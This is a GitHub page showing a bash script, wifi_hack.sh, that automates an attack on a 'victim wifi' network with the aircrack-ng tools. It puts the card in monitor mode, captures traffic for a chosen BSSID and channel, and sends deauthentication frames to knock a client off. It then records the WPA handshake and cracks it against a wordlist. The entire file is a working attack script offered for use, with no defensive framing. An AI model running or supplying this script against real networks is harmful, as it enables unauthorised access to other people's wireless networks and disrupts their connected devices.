-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifi_hack.sh
186 lines (178 loc) · 7.71 KB
/
wifi_hack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/bin/bash
red="\033[1;31m"
reset="\e[0m"
clear
ifc(){
echo ""
read -p "$(echo -ne "what is your ${red}interface${reset} : ")" int
if [[ $int == "" ]]; then
echo -ne "\n"
echo -ne "${red}you have to tybe your interface [!] ${reset}"
echo -ne "\n"
sleep 1
ifc
fi
}
bannerex(){
echo '''
▒▒▒▒▒▒▒▒▒▒▒▄▄▄▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▄██████▒▒▒▒▒▄▄▄█▄▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▄██▀░░▀██▄▒▒▒▒████████▄▒▒▒▒▒▒
▒▒▒▒▒▒███░░░░░░██▒▒▒▒▒▒█▀▀▀▀▀██▄▄▒▒▒
▒▒▒▒▒▄██▌░░░░░░░██▒▒▒▒▐▌▒▒▒▒▒▒▒▒▀█▄▒
▒▒▒▒▒███░░▐█░█▌░██▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▀▌
▒▒▒▒████░▐█▌░▐█▌██▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▐████░▐░░░░░▌██▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████░░░▄█░░░██▒▒▐█▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████░░░██░░██▌▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▌░▐█░░███▒▒▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▐████░░▌░███▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒████░░░███▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒██████▌░████▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▐████████████▒▒███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒█████████████▄████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
█████████████████▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
█████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
'''
echo -ne "\n"
echo -ne "c o d e d by${red} A Z O${reset} | snapchat : ${red}uur_2v${reset} | insta : ${red}r7jhz1${reset} | github : ${red}Az0122${reset}
"
}
banner(){
echo '''
▒▒▒▒▒▒▒▒▒▒▒▄▄▄▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▄██████▒▒▒▒▒▄▄▄█▄▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▄██▀░░▀██▄▒▒▒▒████████▄▒▒▒▒▒▒
▒▒▒▒▒▒███░░░░░░██▒▒▒▒▒▒█▀▀▀▀▀██▄▄▒▒▒
▒▒▒▒▒▄██▌░░░░░░░██▒▒▒▒▐▌▒▒▒▒▒▒▒▒▀█▄▒
▒▒▒▒▒███░░▐█░█▌░██▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▀▌
▒▒▒▒████░▐█▌░▐█▌██▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▐████░▐░░░░░▌██▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████░░░▄█░░░██▒▒▐█▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████░░░██░░██▌▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▌░▐█░░███▒▒▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▐████░░▌░███▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒████░░░███▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒██████▌░████▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▐████████████▒▒███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒█████████████▄████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
█████████████████▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
█████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
'''
echo -ne "\n"
echo -ne "c o d e d by${red} A Z O${reset} | snapchat : ${red}uur_2v${reset} | insta : ${red}r7jhz1${reset} | github : ${red}Az0122${reset}
"
echo ' '
echo 'hello ( : '
sleep 0.8
}
root(){
roo=$(id -u)
if [ $roo != 0 ] ; then
echo " "
echo -ne "${red}permission denied Run it as root [!] ${reset}"
sleep 0.8
exit 1
fi
}
wifihack(){
FILE=/usr/sbin/airodump-ng
FILE1=/usr/sbin/aireplay-ng
FILE2=/usr/sbin/airmon-ng
FILE3=/usr/bin/aircrack-ng
if [[ -f "$FILE" || -f "$FILE1" || -f "$FILE2" || -f "$FILE3" ]]; then
echo ""
else
echo "you dont have the tools ):"
sleep 0.6
echo "installing now . . . "
sleep 1
sudo apt-get install airodump-ng && sudo apt-get install airmon-ng && sudo apt-get install aireplay-ng && sudo apt-get install aircrack-ng
fi
ifc
sleep 0.4
sudo airmon-ng start $int > /dev/null
ctrl-c(){
echo -ne "\n"
echo 'bye . . . '
sudo airmon-ng stop ${int}mon >/dev/null
exit
}
trap ctrl-c 2 && trap ctrl-c TSTP
sudo timeout 10.5 airodump-ng ${int}mon
echo -ne "${reset}"
echo -ne "\n"
bssid(){
echo -ne "\n"
read -p "$(echo -ne "Enter the ${red}BSSID${reset} and ${red}CH${reset} of the victim wifi : ")" bss ch
if [[ $bss == "" || $ch == "" ]]; then
echo -ne "\n"
echo -ne "${red}you have to tybe The BSSID AND THE CHANNEL [!] ${reset}"
echo -ne "\n"
sleep 1
bssid
fi
}
bssid
iwconfig ${int}mon channel $ch > /dev/null
echo -ne "\n"
handch(){
echo -ne "\n"
read -p "$(echo -ne "Enter the name of the ${red}handcheck${reset} ! : ")" hand
if [[ $hand == "" ]] ; then
echo -ne "\n"
echo -ne "${red}you have to tybe the handcheck name [!] ${reset}"
echo -ne "\n"
sleep 1
handch
fi
}
handch
sudo timeout 15 airodump-ng --bssid $bss -c $ch ${int}mon
echo -ne "\n"
maccli(){
echo -ne "\n"
read -p "$(echo -ne "Enter The ${red}MAC Address${reset} of The ${red}client${reset} : ")" cli
if [[ $cli == "" ]] ; then
echo -ne "\n"
echo -ne "${red}you have to type the Mac Address of the Client [!] ${reset}"
echo -ne "\n"
sleep 1
maccli
fi
}
maccli
sudo aireplay-ng -0 5 -a $bss -c $cli -D ${int}mon
sudo timeout 18 airodump-ng --bssid $bss -c $ch -w $hand ${int}mon
echo -ne "\n"
wordd(){
echo -ne "\n"
read -p "$(echo -ne "Enter the ${red}Wordlist password${reset} ${red} without (.txt) ${reset}: ")" pass
if [[ $pass == "" ]]; then
echo -ne "\n"
echo -ne "${red}you have to tybe the passlist [!] ${reset}"
echo -ne "\n"
sleep 1
wordd
fi
}
wordd
sudo aircrack-ng $hand-01.cap -w ${pass}.txt
sudo airmon-ng stop ${int}mon
echo -ne """${red}
Thx for Using my Script !
${reset}"""
sleep 1.3
bannerex
}
banner
root
wifihack